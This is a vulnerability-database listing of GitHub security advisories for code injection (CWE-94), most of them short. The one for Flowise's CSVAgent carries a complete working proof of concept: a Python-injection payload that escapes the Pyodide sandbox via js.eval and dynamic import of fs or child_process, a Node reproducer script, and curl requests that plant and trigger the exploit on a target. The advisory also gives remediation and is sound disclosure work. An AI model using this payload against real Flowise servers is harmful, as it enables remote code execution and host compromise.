Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8601 vulnerabilities reference this CWE, most recent first.

GHSA-4HX3-M8W5-G5QH

Vulnerability from github – Published: 2022-05-14 03:31 – Updated: 2024-04-24 18:32
VLAI
Summary
yii2-redis Potential Remote code execution
Details

Potential remote code execution in LUA context of the redis server via methods yii\redis\ActiveRecord::findOne() and yii\redis\ActiveRecord::findAll() in yiisoft/yii2-redis. Attackers could probably manipulate data on the redis server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yiisoft/yii2-redis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-8073"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T18:32:01Z",
    "nvd_published_at": "2018-03-21T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Potential remote code execution in LUA context of the redis server via methods `yii\\redis\\ActiveRecord::findOne()` and `yii\\redis\\ActiveRecord::findAll()` in yiisoft/yii2-redis. Attackers could probably manipulate data on the redis server.\n",
  "id": "GHSA-4hx3-m8w5-g5qh",
  "modified": "2024-04-24T18:32:01Z",
  "published": "2022-05-14T03:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8073"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii2-redis/CVE-2018-8073.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yiisoft/yii2-redis"
    },
    {
      "type": "WEB",
      "url": "https://www.yiiframework.com/news/168/releasing-yii-2-0-15-and-database-extensions-with-security-fixes"
    },
    {
      "type": "WEB",
      "url": "http://www.yiiframework.com/news/168/releasing-yii-2-0-15-and-database-extensions-with-security-fixes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yii2-redis Potential Remote code execution"
}

GHSA-4J25-MWCH-395M

Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28
VLAI
Details

setup/controllers/welcome.php in MODX Revolution 2.5.4-pl and earlier allows remote attackers to execute arbitrary PHP code via the config_key parameter to the setup/index.php?action=welcome URI.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-7321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-30T07:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "setup/controllers/welcome.php in MODX Revolution 2.5.4-pl and earlier allows remote attackers to execute arbitrary PHP code via the config_key parameter to the setup/index.php?action=welcome URI.",
  "id": "GHSA-4j25-mwch-395m",
  "modified": "2022-05-13T01:28:57Z",
  "published": "2022-05-13T01:28:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7321"
    },
    {
      "type": "WEB",
      "url": "https://mazinahmed.net/services/public-reports/ModX%20-%20Responsible%20Disclosure%20-%20January%202017.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4J4F-7RWG-P4Q7

Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2025-10-22 03:30
VLAI
Details

Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-1347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-05-05T11:07:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013.",
  "id": "GHSA-4j4f-7rwg-p4q7",
  "modified": "2025-10-22T03:30:33Z",
  "published": "2022-05-13T01:15:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1347"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-038"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16727"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2013-1347"
    },
    {
      "type": "WEB",
      "url": "http://technet.microsoft.com/security/advisory/2847140"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/25294"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/ncas/alerts/TA13-134A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4J56-GWFC-85W2

Vulnerability from github – Published: 2022-05-14 02:44 – Updated: 2022-05-14 02:44
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the cs_base_path parameter to (1) docs.php and (2) include/admin/device_admin.php. NOTE: the header.php vector is already covered by CVE-2009-3306. NOTE: this issue may be due to a variable extraction error.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-2145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-06-03T14:30:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the cs_base_path parameter to (1) docs.php and (2) include/admin/device_admin.php.  NOTE: the header.php vector is already covered by CVE-2009-3306.  NOTE: this issue may be due to a variable extraction error.",
  "id": "GHSA-4j56-gwfc-85w2",
  "modified": "2022-05-14T02:44:29Z",
  "published": "2022-05-14T02:44:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2145"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/511507/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/40457"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4J79-4M6Q-77VF

Vulnerability from github – Published: 2022-05-14 02:00 – Updated: 2024-04-25 21:54
VLAI
Summary
Subrion CMS PHP Object Injection
Details

includes/classes/ia.core.users.php in Subrion CMS 4.0.5 allows remote attackers to conduct PHP Object Injection attacks via crafted serialized data in a salt cookie in a login request.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "intelliants/subrion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.5"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2017-5543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T21:54:12Z",
    "nvd_published_at": "2017-01-20T08:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "`includes/classes/ia.core.users.php` in Subrion CMS 4.0.5 allows remote attackers to conduct PHP Object Injection attacks via crafted serialized data in a salt cookie in a login request.",
  "id": "GHSA-4j79-4m6q-77vf",
  "modified": "2024-04-25T21:54:12Z",
  "published": "2022-05-14T02:00:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intelliants/subrion/issues/297"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intelliants/subrion/commit/019dee20a38f39a5827aae2eb92f09b1f6afb7bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/intelliants/subrion"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95688"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Subrion CMS PHP Object Injection"
}

GHSA-4J7W-876X-JG2X

Vulnerability from github – Published: 2022-05-13 01:39 – Updated: 2022-05-13 01:39
VLAI
Details

Unspecified vulnerability in HP MPIO Device Specific Module Manager before 4.02.00 allows local users to gain privileges via unknown vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-2639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-09-28T19:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Unspecified vulnerability in HP MPIO Device Specific Module Manager before 4.02.00 allows local users to gain privileges via unknown vectors.",
  "id": "GHSA-4j7w-876x-jg2x",
  "modified": "2022-05-13T01:39:01Z",
  "published": "2022-05-13T01:39:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2639"
    },
    {
      "type": "WEB",
      "url": "http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docId=emr_na-c04048122"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4J86-PPWP-CC7W

Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2025-12-30 12:30
VLAI
Details

The Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the 'Conditional Tags' setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T12:15:44Z",
    "severity": "HIGH"
  },
  "details": "The Lucky Wheel for WooCommerce \u2013 Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the \u0027Conditional Tags\u0027 setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.",
  "id": "GHSA-4j86-ppwp-cc7w",
  "modified": "2025-12-30T12:30:29Z",
  "published": "2025-12-30T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14509"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-lucky-wheel/tags/1.1.13/frontend/frontend.php#L127"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woo-lucky-wheel/trunk/frontend/frontend.php#L127"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3428063"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9a41bc0e-0ab9-4cee-b3ca-d730c828782c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4J8X-X6V7-W9RQ

Vulnerability from github – Published: 2026-08-04 17:43 – Updated: 2026-08-04 17:43
VLAI
Summary
Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
Details

Summary

Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, child_process, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template.

A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE.

Details

Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

The run() method extracts the file segment from the data URI by splitting on , and using two pop() calls (lines 127–138):

} else {
    if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
        files = JSON.parse(csvFileBase64)
    } else {
        files = [csvFileBase64]
    }

    for (const file of files) {
        if (!file) continue
        const splitDataURI = file.split(',')
        splitDataURI.pop()                           // discards trailing filename segment
        base64String += splitDataURI.pop() ?? ''     // captures the segment we attack
    }
}

The captured base64String is then interpolated verbatim into a Python source string at lines 156–171:

const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"      // ← line 161: interpolation sink

decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)   // ← line 171: sink

Validator gaps:

  • validateCustomReadCSVFunction(customReadCSVFunc) runs on line 147, but this only validates the customReadCSV field, not base64String.
  • validatePythonCodeForDataFrame(pythonCode) runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.
  • No content check (^[A-Za-z0-9+/=]*$) is applied to base64String before interpolation.

Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts, lines 7–16):

export async function LoadPyodide(): Promise<PyodideInterface> {
    if (pyodideInstance === undefined) {
        const { loadPyodide } = await import('pyodide')
        const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
        pyodideInstance = await loadPyodide(obj)
        await pyodideInstance.loadPackage(['pandas', 'numpy'])
    }
    return pyodideInstance
}

Pyodide is loaded with default options. On Node.js, the default js module inside Pyodide bridges to globalThis, exposing the JS eval function and top-level dynamic import(). From injected Python, the attacker runs:

import js
await js.eval(
    "(async () => {"
    "  const fs = await import('fs');"
    "  fs.writeFileSync('proof.txt', 'pwned');"
    "})()"
)

…which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting await import('child_process') for await import('fs') yields arbitrary OS-command execution via cp.execSync(...) with the same primitive.

Node-version note. The original PoC for this issue used js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 because process.mainModule was deprecated and now returns undefined on Node 14+. The js.eval + dynamic-import() form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stock flowise@3.1.2 running on Node 20.20.2 — see Verified end-to-end against live Flowise below.

Trigger path (post-plant): the route POST /api/v1/prediction/:id is in WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the chatflow has no apikeyid set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates CSVAgent, and executes the malicious bootstrap.

PoC

Verified end-to-end on the cloned repo (commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit was based on).

Reproducer setup

Two files. Save the first as package.json, the second as repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the same directory.

package.json:

{
  "name": "poc-flowise-s1",
  "version": "1.0.0",
  "type": "commonjs",
  "dependencies": {
    "pyodide": "^0.29.3"
  }
}

repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI parser) and :156-171 (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side split(',').

// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
//   1. JS-side template-literal interpolation produces malicious Python
//   2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
//   3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
//      import('fs') -> host file write
//
// CONSTRAINTS:
//   * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
//     of the data URI is what becomes `base64_string`, so this segment must
//     contain NO raw `,` bytes.
//   * Inside a Python double-quoted string literal, `,` is the escape
//     for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
//     `2`, `c` (no commas), but Python's lexer turns them into commas at
//     runtime — letting us pass multiple arguments to JS functions inside
//     the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
//   `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.

const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')

const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'

// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
    '";\n' +
    'import js\n' +
    `await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
    '#'

// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
    throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}

const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`

// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
    if (!file) continue
    const splitDataURI = file.split(',')
    splitDataURI.pop()
    base64String += splitDataURI.pop() ?? ''
}

// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------
// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just
// to demonstrate the injection. The real flow's pyodide instance preloads
// pandas via LoadPyodide() (core.ts:12). The injection point and validator
// bypass are identical either way.
const code = `import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
print("post-injection bootstrap continued; base64_string =", repr(base64_string))
`

console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')
console.log(code)
console.log('--- end ---\n')

;(async () => {
    try { fs.unlinkSync(proofPath) } catch {}

    console.log('[*] Loading pyodide...')
    const pyodide = await loadPyodide()
    console.log('[*] Pyodide loaded; running attacker-assembled Python...\n')

    try {
        await pyodide.runPythonAsync(code)
    } catch (e) {
        console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')
        console.log(String(e).split('\n').slice(0, 8).join('\n'))
    }

    // give the spawned writeFileSync a moment to flush
    await new Promise((r) => setTimeout(r, 500))

    console.log('\n--- Proof file at ' + proofPath + ' ---')
    if (fs.existsSync(proofPath)) {
        console.log(fs.readFileSync(proofPath, 'utf-8').trim())
        console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')
    } else {
        console.log('[-] Proof file not present.')
    }
})()

What gets assembled

After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):

import base64
from io import StringIO
import json

base64_string = "";
import js
await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()")
#"

decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
...

The "; closes line 161's string literal; the injected statements execute (awaiting the JS Promise that writes the proof file); the trailing # comments out the dangling " so the rest of the bootstrap parses. The remaining b64decode("") returns b'' and pd.read_csv (in the live template) then raises pandas.errors.EmptyDataError, but the fs.writeFileSync(...) call has already fired in the Node host.

Observed output (after deleting any prior proof file)

[*] Loading pyodide...
[*] Pyodide loaded; running attacker-assembled Python...

--- Proof file at .../flowise_a1_pyodide_proof.txt ---
FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import

[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.

The proof file flowise_a1_pyodide_proof.txt is written by the Node host process via the Pyodide js bridge → js.eval(...)(await import('fs')).writeFileSync(...), confirming the escape from the Pyodide WASM sandbox. The standalone repro omits import pandas, so no post-injection exception is raised — but the live template (pandas.read_csv on the empty buffer) throws pandas.errors.EmptyDataError after the host write has already happened, which is exactly the symptom an operator sees in the chat panel.

Verified end-to-end against live Flowise

The standalone repro above proves the validator-bypass + sandbox-escape primitive in isolation. The same payload was additionally verified against a stock flowise@3.1.2 install on Node 20.20.2:

Step Action
1 npm install -g flowise (Node 20.20.2, Linux x64)
2 flowise start → bind on :3000
3 UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked)
4 Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows)
5 Open the chatflow → click chat → send any message
6 Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file
7 /home/<user>/flowise_a1_proof.txt is now present, 46 bytes, content FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import, owner-uid matches the Flowise process uid

Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js, test-flow.js, the captured evidence-bundle.txt) live at pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json template with three minimal edits — the malicious csvFile data URI on csvAgent_0, a placeholder credential on chatOpenAI_0, and the sticky note removed — so it imports cleanly into any Flowise 3.x without the reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw when handed a hand-crafted minimal flow.

End-to-end against a live Flowise instance

The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:

# Step 1 — authenticated chatflow author (any user with chatflows:create
# in OSS, this is typically every registered user) plants the flow.
# evil-csvagent-flow.json is a chatflow whose csvAgent node has
#   inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"
curl -X POST https://target/api/v1/chatflows \
  -H "Authorization: Bearer <api-key with chatflows:create>" \
  -H "Content-Type: application/json" \
  -d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"

# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> \
  -H "Content-Type: application/json" \
  -d '{"question":"go"}'

Step 1 is the only authenticated step; Step 2 is unauthenticated when chatflow.apikeyid is unset (the default for newly created chatflows).

Impact

  • Class: Remote Code Execution via Python-template injection escaping the Pyodide sandbox through the js bridge.
  • Affected: every Flowise deployment that exposes a chatflow containing a CSVAgent node where csvFile is operator-supplied (i.e., overridable via nodeOverrides for the API caller, or planted by any user with chatflow edit permission).
  • Prerequisites: one user with chatflows:create / chatflows:update / agentflows:create / agentflows:update to plant the chatflow once. The trigger is unauthenticated when the chatflow has no apikeyid set (the default for newly created chatflows).
  • Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.

Metadata

  • Affected versions: Confirmed at commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d (main, 2026-04-28) and at flowise@3.1.2. The vulnerable code (splitDataURI.pop() + template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag.
  • Fixed version: Unpatched at the audited commit.
  • CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H → Base score 9.9 (Critical).
  • AV:N — public /api/v1/prediction/:id trigger.
  • AC:L — deterministic; no race / timing.
  • PR:L — one user with chatflows:create (or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this.
  • UI:N — no user interaction required at trigger time.
  • S:C — Pyodide's WASM/Python sandbox is the intended security authority for this code path; the js bridge escape and the validator bypass break out to the Node host process.
  • C:H / I:H / A:H — full host compromise.
  • CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').

Remediation

Maintainer fix (preferred — eliminates string-interpolation entirely): pass the base64 value through Pyodide's globals.set API instead of template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts, replace the construction at lines 156–171 with something like:

const pyodide = await LoadPyodide()
pyodide.globals.set('base64_string', base64String)
const code = `import pandas as pd
import base64
from io import StringIO
import json

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)

This keeps the value as a Python str object that never enters the source text. Apply the same change to AirtableAgent.ts if it follows the same pattern.

Defense in depth (recommended as well): 1. Validate base64String against ^[A-Za-z0-9+/=]*$ before interpolation (rejects every escape character used in the PoC). 2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} }) or the js-module-removal recipe; either prevents the bridge to globalThis.process on Node.js. Apply in packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide. 3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the bootstrap template, not only over the LLM-emitted code. The current ordering inverts the trust assumption. 4. Add a positive allow-list to validateCustomReadCSVFunction enumerating only safe pandas readers (e.g., read_csv and column-typed forms); exclude read_pickle, read_html, read_xml, read_parquet, read_orc, read_feather, read_json (these are independently exploitable — see S2/S3 in the submission roadmap).

User mitigations until a patch ships: - Set chatflow.apikeyid on every chatflow that uses CSVAgent so validateFlowAPIKey enforces auth on /api/v1/prediction/:id. - Set chatbotConfig.allowedOrigins to a strict list (note: this only defends against browser callers, not curl/server-side). - Restrict chatflows:create / agentflows:create permissions to trusted users only. - Where possible, strip csvFile from the nodeOverrides allow-list on affected chatflows so it cannot be supplied at prediction time.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T17:43:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nFlowise\u0027s `CSVAgent` interpolates an attacker-controlled segment of the\n`csvFile` data URI directly into a Python source-code template that is then\nexecuted by Pyodide. Because Pyodide is loaded with the default `js` bridge\nto `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the\nattacker can break out of the Python string literal, hand a JS string to\n`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,\n\u2026), and execute arbitrary file I/O or OS commands as the Flowise process.\nThe two validator paths around this code (`validatePythonCodeForDataFrame`\nand `validateCustomReadCSVFunction`) are never applied to the bootstrap\ntemplate.\n\nA workspace user with `chatflows:create` (or any `agentflows`/`chatflows`\nupdate permission) plants a CSV Agent node with a crafted `csvFile`. Once the\nchatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`\nendpoint, *any unauthenticated* request triggers the host RCE.\n\n### Details\n\n**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\nThe `run()` method extracts the file segment from the data 